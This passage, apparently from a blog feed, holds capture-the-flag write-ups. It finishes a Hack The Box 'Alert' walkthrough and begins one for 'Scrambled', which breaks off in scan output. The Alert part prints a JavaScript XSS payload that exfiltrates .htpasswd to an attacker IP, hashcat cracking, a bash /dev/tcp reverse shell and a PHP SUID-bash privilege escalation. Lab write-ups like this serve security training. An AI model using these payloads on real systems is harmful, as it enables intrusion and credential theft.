proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Just by looking at this, we can see that there are &lt;strong&gt;3 users&lt;/strong&gt; in the system&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;david,albert,root&quot; | tr &apos;,&apos; &apos;\n&apos; &amp;gt; users.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, the best approach would be to check a web service configuration file to see if we can obtain credentials&lt;/p&gt;
&lt;p&gt;But to point to that file, we need to know which web service we&apos;re dealing with, we can see this in the scan we ran earlier with &lt;code&gt;nmap&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat portscan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://alert.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We are facing an &lt;strong&gt;Apache2&lt;/strong&gt; service&lt;/p&gt;
&lt;p&gt;The default configuration file is located at &lt;strong&gt;/etc/apache2/sites-available/000-default.conf&lt;/strong&gt; on operating systems such as &lt;strong&gt;Debian, Ubuntu, Mint, and Pop!_OS&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s point to that file and come up with a new excuse to get the administrator user to click on our .md file&lt;/p&gt;
&lt;p&gt;And here is the information that was contained in that file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo &apos;PHByZT48VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgYWxlcnQuaHRiCgogICAgRG9jdW1lbnRSb290IC92YXIvd3d3L2FsZXJ0Lmh0YgoKICAgIDxEaXJlY3RvcnkgL3Zhci93d3cvYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICBSZXdyaXRlRW5naW5lIE9uCiAgICBSZXdyaXRlQ29uZCAle0hUVFBfSE9TVH0gIV5hbGVydFwuaHRiJAogICAgUmV3cml0ZUNvbmQgJXtIVFRQX0hPU1R9ICFeJAogICAgUmV3cml0ZVJ1bGUgXi8/KC4qKSQgaHR0cDovL2FsZXJ0Lmh0Yi8kMSBbUj0zMDEsTF0KCiAgICBFcnJvckxvZyAke0FQQUNIRV9MT0dfRElSfS9lcnJvci5sb2cKICAgIEN1c3RvbUxvZyAke0FQQUNIRV9MT0dfRElSfS9hY2Nlc3MubG9nIGNvbWJpbmVkCjwvVmlydHVhbEhvc3Q+Cgo8VmlydHVhbEhvc3QgKjo4MD4KICAgIFNlcnZlck5hbWUgc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICBEb2N1bWVudFJvb3QgL3Zhci93d3cvc3RhdGlzdGljcy5hbGVydC5odGIKCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgRm9sbG93U3ltTGlua3MgTXVsdGlWaWV3cwogICAgICAgIEFsbG93T3ZlcnJpZGUgQWxsCiAgICA8L0RpcmVjdG9yeT4KCiAgICA8RGlyZWN0b3J5IC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiPgogICAgICAgIE9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcyBNdWx0aVZpZXdzCiAgICAgICAgQWxsb3dPdmVycmlkZSBBbGwKICAgICAgICBBdXRoVHlwZSBCYXNpYwogICAgICAgIEF1dGhOYW1lICJSZXN0cmljdGVkIEFyZWEiCiAgICAgICAgQXV0aFVzZXJGaWxlIC92YXIvd3d3L3N0YXRpc3RpY3MuYWxlcnQuaHRiLy5odHBhc3N3ZAogICAgICAgIFJlcXVpcmUgdmFsaWQtdXNlcgogICAgPC9EaXJlY3Rvcnk+CgogICAgRXJyb3JMb2cgJHtBUEFDSEVfTE9HX0RJUn0vZXJyb3IubG9nCiAgICBDdXN0b21Mb2cgJHtBUEFDSEVfTE9HX0RJUn0vYWNjZXNzLmxvZyBjb21iaW5lZAo8L1ZpcnR1YWxIb3N0PgoKPC9wcmU+Cg==&apos; | base64 -d | cat -l java &amp;gt; configfile.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat configfile.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;
    DocumentRoot /var/www/alert.htb

    &amp;lt;Directory /var/www/alert.htb&amp;gt;
        Options FollowSymLinks MultiViews
        AllowOverride All
    &amp;lt;/Directory&amp;gt;

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;

&amp;lt;VirtualHost *:80&amp;gt;
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    &amp;lt;Directory /var/www/statistics.alert.htb&amp;gt;
        Options FollowSymLinks MultiViews
        AllowOverride All
    &amp;lt;/Directory&amp;gt;

    &amp;lt;Directory /var/www/statistics.alert.htb&amp;gt;
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName &quot;Restricted Area&quot;
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    &amp;lt;/Directory&amp;gt;

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
&amp;lt;/VirtualHost&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Path To User Credentials?&lt;/h1&gt;
&lt;p&gt;This is incredible, since we&apos;ve found a path where user credentials are most likely being stored&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AuthUserFile /var/www/statistics.alert.htb/.htpasswd&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s repeat the same XSS injection targeting that file to see what&apos;s inside it&lt;/p&gt;
&lt;p&gt;This is the script now&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var req = new XMLHttpRequest();
req.open(
	&quot;GET&quot;,
	&quot;http://alert.htb/messages.php?file=../../../../../../../../var/www/statistics.alert.htb/.htpasswd&quot;,
	false,
);
req.send();

var info = new XMLHttpRequest();
info.open(&quot;GET&quot;, &quot;http://10.10.15.41/?infoinB64=&quot; + btoa(req.responseText));
info.send();
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Hashed Credentials&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./credentialsmaybe.png&quot; alt=&quot;credentailsmaybe&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo -n &apos;PHByZT5hbGJlcnQ6JGFwcjEkYk1vUkJKT2ckaWdHOFdCdFExeFlEVFFkTGpTV1pRLwo8L3ByZT4K&apos; | base64 -d &amp;gt; credentials.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cat credentials.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And we&apos;ve been able to obtain the credentials for the user &lt;strong&gt;albert&lt;/strong&gt;, but the password is hashed...&lt;/p&gt;
&lt;p&gt;Based on the format, we can deduce that this is an &lt;strong&gt;apr1-type&lt;/strong&gt; hash&lt;/p&gt;
&lt;p&gt;Let&apos;s confirm this using &lt;code&gt;hashcat&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat --example-hashes | grep -i &quot;apr1&quot; -B 1 -A 8
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Hash mode #1600
  Name................: Apache $apr1$ MD5, md5apr1, MD5 (APR)
  Category............: FTP, HTTP, SMTP, LDAP Server
  Slow.Hash...........: Yes
  Deprecated..........: No
  Deprecated.Notice...: N/A
  Password.Type.......: plain
  Password.Len.Min....: 0
  Password.Len.Max....: 256
  Salt.Type...........: Embedded
--
  Example.Hash.Format.: plain
  Example.Hash........: $apr1$62722340$zGjeAwVP2KwY6MtumUI1N/
  Example.Pass........: hashcat
  Benchmark.Mask......: ?a?a?a?a?a?a?a
  Autodetect.Enabled..: Yes
  Self.Test.Enabled...: Yes
  Potfile.Enabled.....: Yes
  Keep.Guessing.......: No
  Custom.Plugin.......: No
  Plaintext.Encoding..: ASCII, HEX
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Apparently, the format is the same, so we&apos;ve confirmed it, this is an &lt;strong&gt;apr1-type&lt;/strong&gt; hash&lt;/p&gt;
&lt;h1&gt;Cracking The Hashed Password&lt;/h1&gt;
&lt;p&gt;Now, let&apos;s try to crack it using &lt;strong&gt;rockyou.txt&lt;/strong&gt; as the wordlist&lt;/p&gt;
&lt;p&gt;First, let&apos;s get the .txt file ready to crack&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./crackingpassword.png&quot; alt=&quot;crackingpassword&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;re ready&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hashcat -m 1600 -a 0 credentials.txt /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./passwordcracked.png&quot; alt=&quot;passwordcracked&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we obtained the credentials in plain text!&lt;/p&gt;
&lt;p&gt;It looks like the administrator&apos;s password is &lt;strong&gt;manchesterunited&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s save it&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nvim credentials.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;albert:manchesterunited
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;SSH Authentication&lt;/h1&gt;
&lt;p&gt;Now, if we remember correctly, in addition to an &lt;strong&gt;HTTP&lt;/strong&gt; service, we also had an &lt;strong&gt;SSH&lt;/strong&gt; service, let&apos;s try to authenticate through that service&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh albert@10.129.231.188
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Password: manchesterunited&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./sshauth.png&quot; alt=&quot;sshauth&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And we&apos;re in!&lt;/p&gt;
&lt;p&gt;Working from the console provided by &lt;strong&gt;SSH&lt;/strong&gt; is a bit of a hassle, so let&apos;s launch a shell and customize it to make it more user-friendly&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/10.10.15.41/443 0&amp;gt;&amp;amp;1&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And from our machine, we open the specified listening port to receive the connection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nc -nvlp 443
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;TTY Treatment&lt;/h1&gt;
&lt;p&gt;&lt;img src=&quot;./shellreceived.png&quot; alt=&quot;shellreceived&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;ll go over the &lt;strong&gt;TTY&lt;/strong&gt; treatment&lt;/p&gt;
&lt;p&gt;This will allow us to have a fully interactive shell where we can use Ctrl + C, Ctrl + L, etc...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;script /dev/null -c bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then we press Ctrl + Z&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty raw -echo;fg
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;reset
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And for &lt;strong&gt;Terminal type&lt;/strong&gt;, type xterm&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./ttytreatment.png&quot; alt=&quot;ttytreatment&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Once everything is ready, we set the value of TERM to xterm&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;export TERM=xterm
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, as the last step, we adjust the TTY size&lt;/p&gt;
&lt;p&gt;To do this, we first check the &lt;strong&gt;rows&lt;/strong&gt; and &lt;strong&gt;columns&lt;/strong&gt; sizes on our machine&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty size
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./sttysize.png&quot; alt=&quot;sttysize&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now we&apos;ll adjust those values on the TTY we&apos;re working with&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;stty rows 42 columns 185
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Internal Enumeration&lt;/h1&gt;
&lt;p&gt;The first thing we see in the current working directory is the user flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./userflag.png&quot; alt=&quot;userflag&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After checking capabilities, SUID permissions, cron jobs, etc..., we found an internal service that isn&apos;t accessible from outside&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ss -nltp
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./8080service.png&quot; alt=&quot;8080service&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The service that looks interesting is running on port 8080&lt;/p&gt;
&lt;p&gt;This service may be the subdomain for alert.htb&lt;/p&gt;
&lt;p&gt;If we take another look at the configuration files, we can see that there is a subdomain called &lt;strong&gt;statistics.alert.htb&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat /etc/apache2/sites-available/000-default.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./thissubdomain.png&quot; alt=&quot;thissubdomain&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Port Forwarding&lt;/h1&gt;
&lt;p&gt;First, let&apos;s start by setting up port forwarding via SSH&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh albert@10.129.231.188 -L 8080:127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Password: manchesterunited&lt;/p&gt;
&lt;p&gt;Now, to access the subdomain, we need to add it to our &lt;strong&gt;/etc/hosts&lt;/strong&gt; file&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo nvim /etc/hosts
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./ournewetchostsfile.png&quot; alt=&quot;newetchostsfile&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now we can view the content of the subdomain that was running internally on the machine&lt;/p&gt;
&lt;p&gt;Name: albert&lt;/p&gt;
&lt;p&gt;Password: manchesterunited&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./subdomaincontent.png&quot; alt=&quot;subdomaincontent&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s take a look at the configuration files for that subdomain&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /var/www/statistics.alert.htb
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But unfortunately, we can&apos;t access that directory&lt;/p&gt;
&lt;p&gt;If we use &lt;code&gt;id&lt;/code&gt;, we can see that we&apos;re in a group called &lt;strong&gt;management&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./managementgroup.png&quot; alt=&quot;managementgroup&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s see what we can do with that group&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -group management 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./aninterestingphpfile.png&quot; alt=&quot;aninterestingphpfile&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Let&apos;s see what&apos;s in this .php file&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./nothing.png&quot; alt=&quot;nothing&quot; /&gt;&lt;/p&gt;
&lt;p&gt;It doesn&apos;t contain any useful information&lt;/p&gt;
&lt;h1&gt;Directory With Write Permissions&lt;/h1&gt;
&lt;p&gt;Now let&apos;s go to the &lt;strong&gt;website-monitor&lt;/strong&gt; directory&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd /opt/website-monitor
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ls -la
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./vectorfound.png&quot; alt=&quot;vectorfound&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Seeing this, we realize that we have write permissions for the monitors directory...&lt;/p&gt;
&lt;p&gt;First, let&apos;s see what&apos;s inside&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cd monitors
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;ls -la
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./thistwofiles.png&quot; alt=&quot;thistwofiles&quot; /&gt;&lt;/p&gt;
&lt;p&gt;If we think about it, we don&apos;t have any service called “website monitor” or “monitor”&lt;/p&gt;
&lt;p&gt;We still need to check the service on &lt;strong&gt;port 8080&lt;/strong&gt;, for which we set up port forwarding via &lt;strong&gt;SSH&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./websitemonitor.png&quot; alt=&quot;website-monitor&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;We found it!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Now let&apos;s try to access the resources in the &lt;strong&gt;monitors&lt;/strong&gt; directory using this web service&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./wecan.png&quot; alt=&quot;wecan&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And as we can see, we&apos;ve been able to list the contents of the file&lt;/p&gt;
&lt;p&gt;And now we have write permissions in that directory, where the files run as the &lt;strong&gt;root user&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;With this in mind, we can create a file that launches a reverse shell as the root user or add SUID permissions to /bin/bash&lt;/p&gt;
&lt;h1&gt;Root&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;nano rootuser.php
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php system(&quot;chmod u+s /bin/bash&quot;); ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./executed.png&quot; alt=&quot;executed&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And now we should have the bash with SUID permissions&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./suidpermission.png&quot; alt=&quot;bashwithSUID&quot; /&gt;&lt;/p&gt;
&lt;p&gt;All we have to do is open bash as a privileged user, and we&apos;ll have our console as root&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bash -p
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./rootuser.png&quot; alt=&quot;rootuser&quot; /&gt;&lt;/p&gt;
&lt;p&gt;And finally, here&apos;s the &lt;strong&gt;root user flag&lt;/strong&gt;&lt;/p&gt;
</content:encoded></item><item><title>Scrambled</title><link>https://scriptos0.github.io/posts/scrambled/scrambled/</link><guid isPermaLink="true">https://scriptos0.github.io/posts/scrambled/scrambled/</guid><description>Scrambled is a medium Windows Active Directory machine that requires a technical chain of exploitation starting with initial web enumeration to acquire credentials for the user ksimpson under a strict environment where NTLM authentication is disabled in favor of Kerberos. Using these credentials to access public SMB shares uncovers intelligence regarding an internal SQL service. Active Directory enumeration reveals that the SqlSvc account has a registered Service Principal Name (SPN), enabling a Kerberoasting attack to harvest and crack its service ticket hash. With the SqlSvc credentials obtained, an attacker performs a Silver Ticket attack to forge a valid Kerberos ticket and impersonate the Administrator user against the remote MSSQL instance. Querying the database exposes credentials for the MiscSvc account, which are used to gain initial code execution on the host via PowerShell Remoting. Further internal enumeration reveals a custom .NET application listening on port 4411. Reverse engineering this application exposes the use of the insecure BinaryFormatter serialization class, which is leveraged to upload a malicious payload and achieve final privilege escalation to NT AUTHORITY\SYSTEM through insecure deserialization.</description><pubDate>Mon, 10 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Reconnaissance&lt;/h1&gt;
&lt;p&gt;Let’s start by checking which &lt;strong&gt;TCP ports&lt;/strong&gt; are open&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sS -p- --open --min-rate 5000 10.129.43.92 -vvv -n -Pn -oN allports.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
1433/tcp  open  ms-sql-s         syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
4411/tcp  open  found            syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49698/tcp open  unknown          syn-ack ttl 127
49707/tcp open  unknown          syn-ack ttl 127
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Based on the ports we see, we can already tell that we&apos;re dealing with an &lt;strong&gt;AD&lt;/strong&gt; (Active Directory) environment&lt;/p&gt;
&lt;p&gt;Now let&apos;s grep out all the open ports&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cat allports.txt | grep -o &quot;^[0-9]*&quot; | xargs | tr &apos; &apos; &apos;,&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49698,49707
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Once we have all the open ports, let&apos;s perform service version detection&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nmap -sVC -p53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49698,49707 10.129.43.92 -oN portscan.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Scramble Corp Intranet
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-08-10 10:15:27Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info: 
|   10.129.43.92:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-08-10T10:02:27
|_Not valid after:  2056-08-10T10:02:27
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: scrm.local, Site: Default-First-Site-Name)
|_ssl-date: 2026-08-10T10:18:34+00:00; 0s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:DC1.scrm.local
| Not valid before: 2024-09-04T11:14:45
|_Not valid after:  2121-06-08T22:39:53
4411/tcp  open  found?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|   FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions: 
|     SCRAMBLECORP_ORDERS_V1.0.3;
|_    ERROR_UNKNOWN_COMMAND;
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
49707/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.99%I=7%D=8/10%Time=6A79A4BE%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1D,&quot;SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(GenericLines,1D,&quot;SCRAMBLEC
SF:ORP_ORDERS_V1\.0\.3;\r\n&quot;)%r(GetRequest,35,&quot;SCRAMBLECORP_ORDERS_V1\.0\.
